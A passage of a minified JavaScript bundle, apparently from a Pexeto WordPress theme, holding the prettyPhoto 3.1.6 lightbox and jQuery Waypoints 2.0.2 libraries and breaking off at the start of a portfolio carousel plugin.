* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
/* ------------------------------------------------------------------------
Class: prettyPhoto
Use: Lightbox clone for jQuery
Author: Stephane Caron (http://www.no-margin-for-errors.com)
Version: 3.1.6
------------------------------------------------------------------------- */
!function(e){function t(){var e=location.href;return hashtag=-1!==e.indexOf("#prettyPhoto")?decodeURI(e.substring(e.indexOf("#prettyPhoto")+1,e.length)):!1,hashtag&&(hashtag=hashtag.replace(/<|>/g,"")),hashtag}function i(){"undefined"!=typeof theRel&&(location.hash=theRel+"/"+rel_index+"/")}function p(){-1!==location.href.indexOf("#prettyPhoto")&&(location.hash="prettyPhoto")}function o(e,t){e=e.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");var i="[\\?&]"+e+"=([^&#]*)",p=new RegExp(i),o=p.exec(t);return null==o?"":o[1]}e.prettyPhoto={version:"3.1.6"},e.fn.prettyPhoto=function(a){function s(){e(".pp_loaderIcon").hide(),projectedTop=scroll_pos.scrollTop+(I/2-f.containerHeight/2),projectedTop<0&&(projectedTop=0),$ppt.fadeTo(settings.animation_speed,1),$pp_pic_holder.find(".pp_content").animate({height:f.contentHeight,width:f.contentWidth},settings.animation_speed),$pp_pic_holder.animate({top:projectedTop,left:j/2-f.containerWidth/2<0?0:j/2-f.containerWidth/2,width:f.containerWidth},settings.animation_speed,function(){$pp_pic_holder.find(".pp_hoverContainer,#fullResImage").height(f.height).width(f.width),$pp_pic_holder.find(".pp_fade").fadeIn(settings.animation_speed),isSet&&"image"==h(pp_images[set_position])?$pp_pic_holder.find(".pp_hoverContainer").show():$pp_pic_holder.find(".pp_hoverContainer").hide(),settings.allow_expand&&(f.resized?e("a.pp_expand,a.pp_contract").show():e("a.pp_expand").hide()),!settings.autoplay_slideshow||P||v||e.prettyPhoto.startSlideshow(),settings.changepicturecallback(),v=!0}),m(),a.ajaxcallback()}function n(t){$pp_pic_holder.find("#pp_full_res object,#pp_full_res embed").css("visibility","hidden"),$pp_pic_holder.find(".pp_fade").fadeOut(settings.animation_speed,function(){e(".pp_loaderIcon").show(),t()})}function r(t){t>1?e(".pp_nav").show():e(".pp_nav").hide()}function l(e,t){resized=!1;var i=PEXETO.utils.checkIfMobile(),p=i?40:200;if(d(e,t),imageWidth=e,imageHeight=t,(k>j||b>I)&&doresize&&settings.allow_resize&&!$){for(resized=!0,fitting=!1;!fitting;)k>j?(imageWidth=j-p,imageHeight=t/e*imageWidth):b>I?(imageHeight=I-p,imageWidth=e/t*imageHeight):fitting=!0,b=imageHeight,k=imageWidth;i||(k>j||b>I)&&l(k,b),d(imageWidth,imageHeight)}return{width:Math.floor(imageWidth),height:Math.floor(imageHeight),containerHeight:Math.floor(b),containerWidth:Math.floor(k)+2*settings.horizontal_padding,contentHeight:Math.floor(y),contentWidth:Math.floor(w),resized:resized}}function d(t,i){t=parseFloat(t),i=parseFloat(i),$pp_details=$pp_pic_holder.find(".pp_details"),$pp_details.width(t),detailsHeight=parseFloat($pp_details.css("marginTop"))+parseFloat($pp_details.css("marginBottom")),$pp_details=$pp_details.clone().addClass(settings.theme).width(t).appendTo(e("body")).css({position:"absolute",top:-1e4}),detailsHeight+=$pp_details.height(),detailsHeight=detailsHeight<=34?36:detailsHeight,$pp_details.remove(),$pp_title=$pp_pic_holder.find(".ppt"),$pp_title.width(t),titleHeight=parseFloat($pp_title.css("marginTop"))+parseFloat($pp_title.css("marginBottom")),$pp_title=$pp_title.clone().appendTo(e("body")).css({position:"absolute",top:-1e4}),titleHeight+=$pp_title.height(),$pp_title.remove(),y=i+detailsHeight,w=t,b=y+titleHeight+$pp_pic_holder.find(".pp_top").height()+$pp_pic_holder.find(".pp_bottom").height(),k=t}function h(e){return e.match(/youtube\.com\/watch/i)||e.match(/youtu\.be/i)?"youtube":e.match(/vimeo\.com/i)?"vimeo":e.match(/\b.mov\b/i)?"quicktime":e.match(/\b.swf\b/i)?"flash":e.match(/\biframe=true\b/i)?"iframe":e.match(/\bajax=true\b/i)?"ajax":e.match(/\bcustom=true\b/i)?"custom":"#"==e.substr(0,1)?"inline":"image"}function c(){if(doresize&&"undefined"!=typeof $pp_pic_holder){if(scroll_pos=_(),contentHeight=$pp_pic_holder.height(),contentwidth=$pp_pic_holder.width(),projectedTop=I/2+scroll_pos.scrollTop-contentHeight/2,projectedTop<0&&(projectedTop=0),contentHeight>I)return;$pp_pic_holder.css({top:projectedTop,left:j/2+scroll_pos.scrollLeft-contentwidth/2})}}function _(){return self.pageYOffset?{scrollTop:self.pageYOffset,scrollLeft:self.pageXOffset}:document.documentElement&&document.documentElement.scrollTop?{scrollTop:document.documentElement.scrollTop,scrollLeft:document.documentElement.scrollLeft}:document.body?{scrollTop:document.body.scrollTop,scrollLeft:document.body.scrollLeft}:void 0}function g(){I=e(window).height(),j=e(window).width(),"undefined"!=typeof $pp_overlay&&$pp_overlay.height(e(document).height()).width(j)}function m(){isSet&&settings.overlay_gallery&&"image"==h(pp_images[set_position])?(itemWidth=57,navWidth="facebook"==settings.theme||"pp_default"==settings.theme?50:30,itemsPerPage=Math.floor((f.containerWidth-100-navWidth)/itemWidth),itemsPerPage=itemsPerPage<pp_images.length?itemsPerPage:pp_images.length,totalPage=Math.ceil(pp_images.length/itemsPerPage)-1,0==totalPage?(navWidth=0,$pp_gallery.find(".pp_arrow_next,.pp_arrow_previous").hide()):$pp_gallery.find(".pp_arrow_next,.pp_arrow_previous").show(),galleryWidth=itemsPerPage*itemWidth,fullGalleryWidth=pp_images.length*itemWidth,$pp_gallery.css("margin-left",-(galleryWidth/2+navWidth/2)).find("div:first").width(galleryWidth+5).find("ul").width(fullGalleryWidth).find("li.selected").removeClass("selected"),goToPage=Math.floor(set_position/itemsPerPage)<totalPage?Math.floor(set_position/itemsPerPage):totalPage,e.prettyPhoto.changeGalleryPage(goToPage),$pp_gallery_li.filter(":eq("+set_position+")").addClass("selected")):$pp_pic_holder.find(".pp_content").unbind("mouseenter mouseleave")}function u(t){if(settings.social_tools&&(facebook_like_link=settings.social_tools.replace("{location_href}",encodeURIComponent(location.href))),settings.markup=settings.markup.replace("{pp_social}",""),e("body").append(settings.markup),$pp_pic_holder=e(".pp_pic_holder"),$ppt=e(".ppt"),$pp_overlay=e("div.pp_overlay"),isSet&&settings.overlay_gallery){currentGalleryPage=0,toInject="";for(var i=0;i<pp_images.length;i++)pp_images[i].match(/\b(jpg|jpeg|png|gif)\b/gi)?(classname="",img_src=pp_images[i]):(classname="default",img_src=""),toInject+="<li class='"+classname+"'><a href='#'><img src='"+img_src+"' width='50' alt='' /></a></li>";toInject=settings.gallery_markup.replace(/{gallery}/g,toInject),$pp_pic_holder.find("#pp_full_res").after(toInject),$pp_gallery=e(".pp_pic_holder .pp_gallery"),$pp_gallery_li=$pp_gallery.find("li"),$pp_gallery.find(".pp_arrow_next").click(function(){return e.prettyPhoto.changeGalleryPage("next"),e.prettyPhoto.stopSlideshow(),!1}),$pp_gallery.find(".pp_arrow_previous").click(function(){return e.prettyPhoto.changeGalleryPage("previous"),e.prettyPhoto.stopSlideshow(),!1}),$pp_pic_holder.find(".pp_content").hover(function(){$pp_pic_holder.find(".pp_gallery:not(.disabled)").fadeIn()},function(){$pp_pic_holder.find(".pp_gallery:not(.disabled)").fadeOut()}),itemWidth=57,$pp_gallery_li.each(function(t){e(this).find("a").click(function(){return e.prettyPhoto.changePage(t),e.prettyPhoto.stopSlideshow(),!1})})}settings.slideshow&&($pp_pic_holder.find(".pp_nav").prepend('<a href="#" class="pp_play">Play</a>'),$pp_pic_holder.find(".pp_nav .pp_play").click(function(){return e.prettyPhoto.startSlideshow(),!1})),$pp_pic_holder.attr("class","pp_pic_holder "+settings.theme),$pp_overlay.css({opacity:0,height:e(document).height(),width:e(window).width()}).bind("click",function(){settings.modal||e.prettyPhoto.close()}),e("a.pp_close").bind("click",function(){return e.prettyPhoto.close(),!1}),settings.allow_expand&&e("a.pp_expand").bind("click",function(t){return e(this).hasClass("pp_expand")?(e(this).removeClass("pp_expand").addClass("pp_contract"),doresize=!1):(e(this).removeClass("pp_contract").addClass("pp_expand"),doresize=!0),n(function(){e.prettyPhoto.open()}),!1}),$pp_pic_holder.find(".pp_previous, .pp_nav .pp_arrow_previous").bind("click",function(){return e.prettyPhoto.changePage("previous"),e.prettyPhoto.stopSlideshow(),!1}),$pp_pic_holder.find(".pp_next, .pp_nav .pp_arrow_next").bind("click",function(){return e.prettyPhoto.changePage("next"),e.prettyPhoto.stopSlideshow(),!1}),c()}a=jQuery.extend({hook:"rel",animation_speed:"fast",ajaxcallback:function(){},slideshow:5e3,autoplay_slideshow:!1,opacity:.8,show_title:!0,allow_resize:!0,allow_expand:!0,default_width:500,default_height:344,counter_separator_label:"/",theme:"pp_default",horizontal_padding:20,hideflash:!1,wmode:"opaque",autoplay:!0,modal:!1,deeplinking:!0,overlay_gallery:!0,overlay_gallery_max:30,keyboard_shortcuts:!0,changepicturecallback:function(){},callback:function(){},ie6_fallback:!0,markup:'<div class="pp_pic_holder"> <div class="ppt"> </div> <div class="pp_top"> <div class="pp_left"></div> <div class="pp_middle"></div> <div class="pp_right"></div> </div> <div class="pp_content_container"> <div class="pp_left"> <div class="pp_right"> <div class="pp_content"> <div class="pp_loaderIcon"></div> <div class="pp_fade"> <a href="#" class="pp_expand" title="Expand the image">Expand</a> <div class="pp_hoverContainer"> <a class="pp_next" href="#">next</a> <a class="pp_previous" href="#">previous</a> </div> <div id="pp_full_res"></div> <div class="pp_details"> <div class="pp_nav"> <a href="#" class="pp_arrow_previous">Previous</a> <p class="currentTextHolder">0/0</p> <a href="#" class="pp_arrow_next">Next</a> </div> <p class="pp_description"></p> <div class="pp_social">{pp_social}</div> <a class="pp_close" href="#">Close</a> </div> </div> </div> </div> </div> </div> <div class="pp_bottom"> <div class="pp_left"></div> <div class="pp_middle"></div> <div class="pp_right"></div> </div> </div> <div class="pp_overlay"></div>',gallery_markup:'<div class="pp_gallery"> <a href="#" class="pp_arrow_previous">Previous</a> <div> <ul> {gallery} </ul> </div> <a href="#" class="pp_arrow_next">Next</a> </div>',image_markup:'<img id="fullResImage" src="{path}" />',flash_markup:'<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="{width}" height="{height}"><param name="wmode" value="{wmode}" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="{path}" /><embed src="{path}" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="{width}" height="{height}" wmode="{wmode}"></embed></object>',quicktime_markup:'<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab" height="{height}" width="{width}"><param name="src" value="{path}"><param name="autoplay" value="{autoplay}"><param name="type" value="video/quicktime"><embed src="{path}" height="{height}" width="{width}" autoplay="{autoplay}" type="video/quicktime" pluginspage="http://www.apple.com/quicktime/download/"></embed></object>',iframe_markup:'<iframe src ="{path}" width="{width}" height="{height}" frameborder="no"></iframe>',inline_markup:'<div class="pp_inline">{content}</div>',custom_markup:"",social_tools:'<div class="twitter"><a href="http://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="facebook"><iframe src="//www.facebook.com/plugins/like.php?locale=en_US&href={location_href}&layout=button_count&show_faces=true&width=500&action=like&font&colorscheme=light&height=23" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:23px;" allowTransparency="true"></iframe></div>'},a);var f,v,y,w,b,k,P,x=this,$=!1,I=e(window).height(),j=e(window).width();return doresize=!0,scroll_pos=_(),e(window).unbind("resize.prettyphoto").bind("resize.prettyphoto",function(){c(),g()}),a.keyboard_shortcuts&&e(document).unbind("keydown.prettyphoto").bind("keydown.prettyphoto",function(t){if("undefined"!=typeof $pp_pic_holder&&$pp_pic_holder.is(":visible"))switch(t.keyCode){case 37:e.prettyPhoto.changePage("previous"),t.preventDefault();break;case 39:e.prettyPhoto.changePage("next"),t.preventDefault();break;case 27:settings.modal||e.prettyPhoto.close(),t.preventDefault()}}),e.prettyPhoto.initialize=function(){return settings=a,"pp_default"==settings.theme&&(settings.horizontal_padding=16),theRel=e(this).attr(settings.hook),galleryRegExp=/\[(?:.*)\]/,isSet=galleryRegExp.exec(theRel)?!0:!1,pp_images=isSet?jQuery.map(x,function(t,i){return-1!=e(t).attr(settings.hook).indexOf(theRel)?e(t).attr("href"):void 0}):e.makeArray(e(this).attr("href")),pp_titles=isSet?jQuery.map(x,function(t,i){return-1!=e(t).attr(settings.hook).indexOf(theRel)?e(t).find("img").attr("alt")?e(t).find("img").attr("alt"):"":void 0}):e.makeArray(e(this).find("img").attr("alt")),pp_descriptions=isSet?jQuery.map(x,function(t,i){return-1!=e(t).attr(settings.hook).indexOf(theRel)?e(t).attr("title")?e(t).attr("title"):"":void 0}):e.makeArray(e(this).attr("title")),pp_images.length>settings.overlay_gallery_max&&(settings.overlay_gallery=!1),set_position=jQuery.inArray(e(this).attr("href"),pp_images),rel_index=isSet?set_position:e("a["+settings.hook+"^='"+theRel+"']").index(e(this)),u(this),settings.allow_resize&&e(window).bind("scroll.prettyphoto",function(){c()}),e.prettyPhoto.open(),!1},e.prettyPhoto.open=function(t){return"undefined"==typeof settings&&(settings=a,pp_images=e.makeArray(arguments[0]),pp_titles=e.makeArray(arguments[1]?arguments[1]:""),pp_descriptions=e.makeArray(arguments[2]?arguments[2]:""),isSet=pp_images.length>1?!0:!1,set_position=arguments[3]?arguments[3]:0,u(t.target)),settings.hideflash&&e("object,embed,iframe[src*=youtube],iframe[src*=vimeo]").css("visibility","hidden"),r(e(pp_images).size()),e(".pp_loaderIcon").show(),settings.deeplinking&&i(),settings.social_tools&&(facebook_like_link=settings.social_tools.replace("{location_href}",encodeURIComponent(location.href)),$pp_pic_holder.find(".pp_social").html(facebook_like_link)),$ppt.is(":hidden")&&$ppt.css("opacity",0).show(),$pp_overlay.show().fadeTo(settings.animation_speed,settings.opacity),$pp_pic_holder.find(".currentTextHolder").text(set_position+1+settings.counter_separator_label+e(pp_images).size()),"undefined"!=typeof pp_descriptions[set_position]&&""!=pp_descriptions[set_position]?$pp_pic_holder.find(".pp_description").show().html(unescape(pp_descriptions[set_position])):$pp_pic_holder.find(".pp_description").hide(),movie_width=parseFloat(o("width",pp_images[set_position]))?o("width",pp_images[set_position]):settings.default_width.toString(),movie_height=parseFloat(o("height",pp_images[set_position]))?o("height",pp_images[set_position]):settings.default_height.toString(),$=!1,-1!=movie_height.indexOf("%")&&(movie_height=parseFloat(e(window).height()*parseFloat(movie_height)/100-150),$=!0),-1!=movie_width.indexOf("%")&&(movie_width=parseFloat(e(window).width()*parseFloat(movie_width)/100-150),$=!0),$pp_pic_holder.fadeIn(function(){switch($ppt.html(settings.show_title&&""!=pp_titles[set_position]&&"undefined"!=typeof pp_titles[set_position]?unescape(pp_titles[set_position]):" "),imgPreloader="",skipInjection=!1,h(pp_images[set_position])){case"image":imgPreloader=new Image,nextImage=new Image,isSet&&set_position<e(pp_images).size()-1&&(nextImage.src=pp_images[set_position+1]),prevImage=new Image,isSet&&pp_images[set_position-1]&&(prevImage.src=pp_images[set_position-1]),$pp_pic_holder.find("#pp_full_res")[0].innerHTML=settings.image_markup.replace(/{path}/g,pp_images[set_position]),imgPreloader.onload=function(){f=l(imgPreloader.width,imgPreloader.height),s()},imgPreloader.onerror=function(){alert("Image cannot be loaded. Make sure the path is correct and image exist."),e.prettyPhoto.close()},imgPreloader.src=pp_images[set_position];break;case"youtube":f=l(movie_width,movie_height),movie_id=o("v",pp_images[set_position]),""==movie_id&&(movie_id=pp_images[set_position].split("youtu.be/"),movie_id=movie_id[1],movie_id.indexOf("?")>0&&(movie_id=movie_id.substr(0,movie_id.indexOf("?"))),movie_id.indexOf("&")>0&&(movie_id=movie_id.substr(0,movie_id.indexOf("&")))),movie="http://www.youtube.com/embed/"+movie_id,o("rel",pp_images[set_position])?movie+="?rel="+o("rel",pp_images[set_position]):movie+="?rel=1",settings.autoplay&&(movie+="&autoplay=1"),toInject=settings.iframe_markup.replace(/{width}/g,f.width).replace(/{height}/g,f.height).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,movie);break;case"vimeo":f=l(movie_width,movie_height),movie_id=pp_images[set_position];var t=/http(s?):\/\/(www\.)?vimeo.com\/(\d+)/,i=movie_id.match(t);movie="http://player.vimeo.com/video/"+i[3]+"?title=0&byline=0&portrait=0",settings.autoplay&&(movie+="&autoplay=1;"),vimeo_width=f.width+"/embed/?moog_width="+f.width,toInject=settings.iframe_markup.replace(/{width}/g,vimeo_width).replace(/{height}/g,f.height).replace(/{path}/g,movie);break;case"quicktime":f=l(movie_width,movie_height),f.height+=15,f.contentHeight+=15,f.containerHeight+=15,toInject=settings.quicktime_markup.replace(/{width}/g,f.width).replace(/{height}/g,f.height).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,pp_images[set_position]).replace(/{autoplay}/g,settings.autoplay);break;case"flash":f=l(movie_width,movie_height),flash_vars=pp_images[set_position],flash_vars=flash_vars.substring(pp_images[set_position].indexOf("flashvars")+10,pp_images[set_position].length),filename=pp_images[set_position],filename=filename.substring(0,filename.indexOf("?")),toInject=settings.flash_markup.replace(/{width}/g,f.width).replace(/{height}/g,f.height).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,filename+"?"+flash_vars);break;case"iframe":f=l(movie_width,movie_height),frame_url=pp_images[set_position],frame_url=frame_url.substr(0,frame_url.indexOf("iframe")-1),toInject=settings.iframe_markup.replace(/{width}/g,f.width).replace(/{height}/g,f.height).replace(/{path}/g,frame_url);break;case"ajax":doresize=!1,f=l(movie_width,movie_height),doresize=!0,skipInjection=!0,e.get(pp_images[set_position],function(e){toInject=settings.inline_markup.replace(/{content}/g,e),$pp_pic_holder.find("#pp_full_res")[0].innerHTML=toInject,s()});break;case"custom":f=l(movie_width,movie_height),toInject=settings.custom_markup;break;case"inline":myClone=e(pp_images[set_position]).clone().append('<br clear="all" />').css({width:settings.default_width}).wrapInner('<div id="pp_full_res"><div class="pp_inline"></div></div>').appendTo(e("body")).show(),doresize=!1,f=l(e(myClone).width(),e(myClone).height()),doresize=!0,e(myClone).remove(),toInject=settings.inline_markup.replace(/{content}/g,e(pp_images[set_position]).html())}imgPreloader||skipInjection||($pp_pic_holder.find("#pp_full_res")[0].innerHTML=toInject,s())}),!1},e.prettyPhoto.changePage=function(t){currentGalleryPage=0,"previous"==t?(set_position--,set_position<0&&(set_position=e(pp_images).size()-1)):"next"==t?(set_position++,set_position>e(pp_images).size()-1&&(set_position=0)):set_position=t,rel_index=set_position,doresize||(doresize=!0),settings.allow_expand&&e(".pp_contract").removeClass("pp_contract").addClass("pp_expand"),n(function(){e.prettyPhoto.open()})},e.prettyPhoto.changeGalleryPage=function(e){"next"==e?(currentGalleryPage++,currentGalleryPage>totalPage&&(currentGalleryPage=0)):"previous"==e?(currentGalleryPage--,currentGalleryPage<0&&(currentGalleryPage=totalPage)):currentGalleryPage=e,slide_speed="next"==e||"previous"==e?settings.animation_speed:0,slide_to=currentGalleryPage*itemsPerPage*itemWidth,$pp_gallery.find("ul").animate({left:-slide_to},slide_speed)},e.prettyPhoto.startSlideshow=function(){"undefined"==typeof P?($pp_pic_holder.find(".pp_play").unbind("click").removeClass("pp_play").addClass("pp_pause").click(function(){return e.prettyPhoto.stopSlideshow(),!1}),P=setInterval(e.prettyPhoto.startSlideshow,settings.slideshow)):e.prettyPhoto.changePage("next")},e.prettyPhoto.stopSlideshow=function(){$pp_pic_holder.find(".pp_pause").unbind("click").removeClass("pp_pause").addClass("pp_play").click(function(){return e.prettyPhoto.startSlideshow(),!1}),clearInterval(P),P=void 0},e.prettyPhoto.close=function(){$pp_overlay.is(":animated")||(e.prettyPhoto.stopSlideshow(),$pp_pic_holder.stop().find("object,embed").css("visibility","hidden"),e("div.pp_pic_holder,div.ppt,.pp_fade").fadeOut(settings.animation_speed,function(){e(this).remove()}),$pp_overlay.fadeOut(settings.animation_speed,function(){settings.hideflash&&e("object,embed,iframe[src*=youtube],iframe[src*=vimeo]").css("visibility","visible"),e(this).remove(),e(window).unbind("scroll.prettyphoto"),p(),settings.callback(),doresize=!0,v=!1,delete settings}))},!pp_alreadyInitialized&&t()&&(pp_alreadyInitialized=!0,hashIndex=t(),hashRel=hashIndex,hashIndex=hashIndex.substring(hashIndex.indexOf("/")+1,hashIndex.length-1),hashRel=hashRel.substring(0,hashRel.indexOf("/")),setTimeout(function(){e("a["+a.hook+"^='"+hashRel+"']:eq("+hashIndex+")").trigger("click")},50)),this.unbind("click.prettyphoto").bind("click.prettyphoto",e.prettyPhoto.initialize)}}(jQuery);var pp_alreadyInitialized=!1;
// Generated by CoffeeScript 1.4.0
/*
jQuery Waypoints - v2.0.2
Copyright (c) 2011-2013 Caleb Troughton
Dual licensed under the MIT license and GPL license.
https://github.com/imakewebthings/jquery-waypoints/blob/master/licenses.txt
*/
(function(){var t=[].indexOf||function(t){for(var e=0,n=this.length;e<n;e++){if(e in this&&this[e]===t)return e}return-1},e=[].slice;(function(t,e){if(typeof define==="function"&&define.amd){return define("waypoints",["jquery"],function(n){return e(n,t)})}else{return e(t.jQuery,t)}})(this,function(n,r){var i,o,l,s,f,u,a,c,h,d,p,y,v,w,g,m;i=n(r);c=t.call(r,"ontouchstart")>=0;s={horizontal:{},vertical:{}};f=1;a={};u="waypoints-context-id";p="resize.waypoints";y="scroll.waypoints";v=1;w="waypoints-waypoint-ids";g="waypoint";m="waypoints";o=function(){function t(t){var e=this;this.$element=t;this.element=t[0];this.didResize=false;this.didScroll=false;this.id="context"+f++;this.oldScroll={x:t.scrollLeft(),y:t.scrollTop()};this.waypoints={horizontal:{},vertical:{}};t.data(u,this.id);a[this.id]=this;t.bind(y,function(){var t;if(!(e.didScroll||c)){e.didScroll=true;t=function(){e.doScroll();return e.didScroll=false};return r.setTimeout(t,n[m].settings.scrollThrottle)}});t.bind(p,function(){var t;if(!e.didResize){e.didResize=true;t=function(){n[m]("refresh");return e.didResize=false};return r.setTimeout(t,n[m].settings.resizeThrottle)}})}t.prototype.doScroll=function(){var t,e=this;t={horizontal:{newScroll:this.$element.scrollLeft(),oldScroll:this.oldScroll.x,forward:"right",backward:"left"},vertical:{newScroll:this.$element.scrollTop(),oldScroll:this.oldScroll.y,forward:"down",backward:"up"}};if(c&&(!t.vertical.oldScroll||!t.vertical.newScroll)){n[m]("refresh")}n.each(t,function(t,r){var i,o,l;l=[];o=r.newScroll>r.oldScroll;i=o?r.forward:r.backward;n.each(e.waypoints[t],function(t,e){var n,i;if(r.oldScroll<(n=e.offset)&&n<=r.newScroll){return l.push(e)}else if(r.newScroll<(i=e.offset)&&i<=r.oldScroll){return l.push(e)}});l.sort(function(t,e){return t.offset-e.offset});if(!o){l.reverse()}return n.each(l,function(t,e){if(e.options.continuous||t===l.length-1){return e.trigger([i])}})});return this.oldScroll={x:t.horizontal.newScroll,y:t.vertical.newScroll}};t.prototype.refresh=function(){var t,e,r,i=this;r=n.isWindow(this.element);e=this.$element.offset();this.doScroll();t={horizontal:{contextOffset:r?0:e.left,contextScroll:r?0:this.oldScroll.x,contextDimension:this.$element.width(),oldScroll:this.oldScroll.x,forward:"right",backward:"left",offsetProp:"left"},vertical:{contextOffset:r?0:e.top,contextScroll:r?0:this.oldScroll.y,contextDimension:r?n[m]("viewportHeight"):this.$element.height(),oldScroll:this.oldScroll.y,forward:"down",backward:"up",offsetProp:"top"}};return n.each(t,function(t,e){return n.each(i.waypoints[t],function(t,r){var i,o,l,s,f;i=r.options.offset;l=r.offset;o=n.isWindow(r.element)?0:r.$element.offset()[e.offsetProp];if(n.isFunction(i)){i=i.apply(r.element)}else if(typeof i==="string"){i=parseFloat(i);if(r.options.offset.indexOf("%")>-1){i=Math.ceil(e.contextDimension*i/100)}}r.offset=o-e.contextOffset+e.contextScroll-i;if(r.options.onlyOnScroll&&l!=null||!r.enabled){return}if(l!==null&&l<(s=e.oldScroll)&&s<=r.offset){return r.trigger([e.backward])}else if(l!==null&&l>(f=e.oldScroll)&&f>=r.offset){return r.trigger([e.forward])}else if(l===null&&e.oldScroll>=r.offset){return r.trigger([e.forward])}})})};t.prototype.checkEmpty=function(){if(n.isEmptyObject(this.waypoints.horizontal)&&n.isEmptyObject(this.waypoints.vertical)){this.$element.unbind([p,y].join(" "));return delete a[this.id]}};return t}();l=function(){function t(t,e,r){var i,o;r=n.extend({},n.fn[g].defaults,r);if(r.offset==="bottom-in-view"){r.offset=function(){var t;t=n[m]("viewportHeight");if(!n.isWindow(e.element)){t=e.$element.height()}return t-n(this).outerHeight()}}this.$element=t;this.element=t[0];this.axis=r.horizontal?"horizontal":"vertical";this.callback=r.handler;this.context=e;this.enabled=r.enabled;this.id="waypoints"+v++;this.offset=null;this.options=r;e.waypoints[this.axis][this.id]=this;s[this.axis][this.id]=this;i=(o=t.data(w))!=null?o:[];i.push(this.id);t.data(w,i)}t.prototype.trigger=function(t){if(!this.enabled){return}if(this.callback!=null){this.callback.apply(this.element,t)}if(this.options.triggerOnce){return this.destroy()}};t.prototype.disable=function(){return this.enabled=false};t.prototype.enable=function(){this.context.refresh();return this.enabled=true};t.prototype.destroy=function(){delete s[this.axis][this.id];delete this.context.waypoints[this.axis][this.id];return this.context.checkEmpty()};t.getWaypointsByElement=function(t){var e,r;r=n(t).data(w);if(!r){return[]}e=n.extend({},s.horizontal,s.vertical);return n.map(r,function(t){return e[t]})};return t}();d={init:function(t,e){var r;if(e==null){e={}}if((r=e.handler)==null){e.handler=t}this.each(function(){var t,r,i,s;t=n(this);i=(s=e.context)!=null?s:n.fn[g].defaults.context;if(!n.isWindow(i)){i=t.closest(i)}i=n(i);r=a[i.data(u)];if(!r){r=new o(i)}return new l(t,r,e)});n[m]("refresh");return this},disable:function(){return d._invoke(this,"disable")},enable:function(){return d._invoke(this,"enable")},destroy:function(){return d._invoke(this,"destroy")},prev:function(t,e){return d._traverse.call(this,t,e,function(t,e,n){if(e>0){return t.push(n[e-1])}})},next:function(t,e){return d._traverse.call(this,t,e,function(t,e,n){if(e<n.length-1){return t.push(n[e+1])}})},_traverse:function(t,e,i){var o,l;if(t==null){t="vertical"}if(e==null){e=r}l=h.aggregate(e);o=[];this.each(function(){var e;e=n.inArray(this,l[t]);return i(o,e,l[t])});return this.pushStack(o)},_invoke:function(t,e){t.each(function(){var t;t=l.getWaypointsByElement(this);return n.each(t,function(t,n){n[e]();return true})});return this}};n.fn[g]=function(){var t,r;r=arguments[0],t=2<=arguments.length?e.call(arguments,1):[];if(d[r]){return d[r].apply(this,t)}else if(n.isFunction(r)){return d.init.apply(this,arguments)}else if(n.isPlainObject(r)){return d.init.apply(this,[null,r])}else if(!r){return n.error("jQuery Waypoints needs a callback function or handler option.")}else{return n.error("The "+r+" method does not exist in jQuery Waypoints.")}};n.fn[g].defaults={context:r,continuous:true,enabled:true,horizontal:false,offset:0,triggerOnce:false};h={refresh:function(){return n.each(a,function(t,e){return e.refresh()})},viewportHeight:function(){var t;return(t=r.innerHeight)!=null?t:i.height()},aggregate:function(t){var e,r,i;e=s;if(t){e=(i=a[n(t).data(u)])!=null?i.waypoints:void 0}if(!e){return[]}r={horizontal:[],vertical:[]};n.each(r,function(t,i){n.each(e[t],function(t,e){return i.push(e)});i.sort(function(t,e){return t.offset-e.offset});r[t]=n.map(i,function(t){return t.element});return r[t]=n.unique(r[t])});return r},above:function(t){if(t==null){t=r}return h._filter(t,"vertical",function(t,e){return e.offset<=t.oldScroll.y})},below:function(t){if(t==null){t=r}return h._filter(t,"vertical",function(t,e){return e.offset>t.oldScroll.y})},left:function(t){if(t==null){t=r}return h._filter(t,"horizontal",function(t,e){return e.offset<=t.oldScroll.x})},right:function(t){if(t==null){t=r}return h._filter(t,"horizontal",function(t,e){return e.offset>t.oldScroll.x})},enable:function(){return h._invoke("enable")},disable:function(){return h._invoke("disable")},destroy:function(){return h._invoke("destroy")},extendFn:function(t,e){return d[t]=e},_invoke:function(t){var e;e=n.extend({},s.vertical,s.horizontal);return n.each(e,function(e,n){n[t]();return true})},_filter:function(t,e,r){var i,o;i=a[n(t).data(u)];if(!i){return[]}o=[];n.each(i.waypoints[e],function(t,e){if(r(i,e)){return o.push(e)}});o.sort(function(t,e){return t.offset-e.offset});return n.map(o,function(t){return t.element})}};n[m]=function(){var t,n;n=arguments[0],t=2<=arguments.length?e.call(arguments,1):[];if(h[n]){return h[n].apply(null,t)}else{return h.aggregate.call(null,n)}};n[m].settings={resizeThrottle:100,scrollThrottle:30};return i.load(function(){return n[m]("refresh")})})}).call(this);
/**
* Portfolio item slider (carousel) - displays a set of images, separated by pages.
* The pages can be changed by clicking on arrows with an animation.
* @author Pexeto
* http://pexetothemes.com
*/
(function($) {
var carouselId = 0;
$.fn.pexetoCarousel = function(options) {
carouselId++;
var defaults = {
//set the default options (can be overwritten from the calling function)
minItemWidth : 290,
namespace : 'carousel' + carouselId,
itemMargin : 6,
shadowWidth : 0,
selfDisplay : true, //if set to true, the carousel will get displayed
//as soon as it is loaded. Otherwise, the calling code would be
//responsible to display the carousel (set its opacity to 1)
//selectors and classes
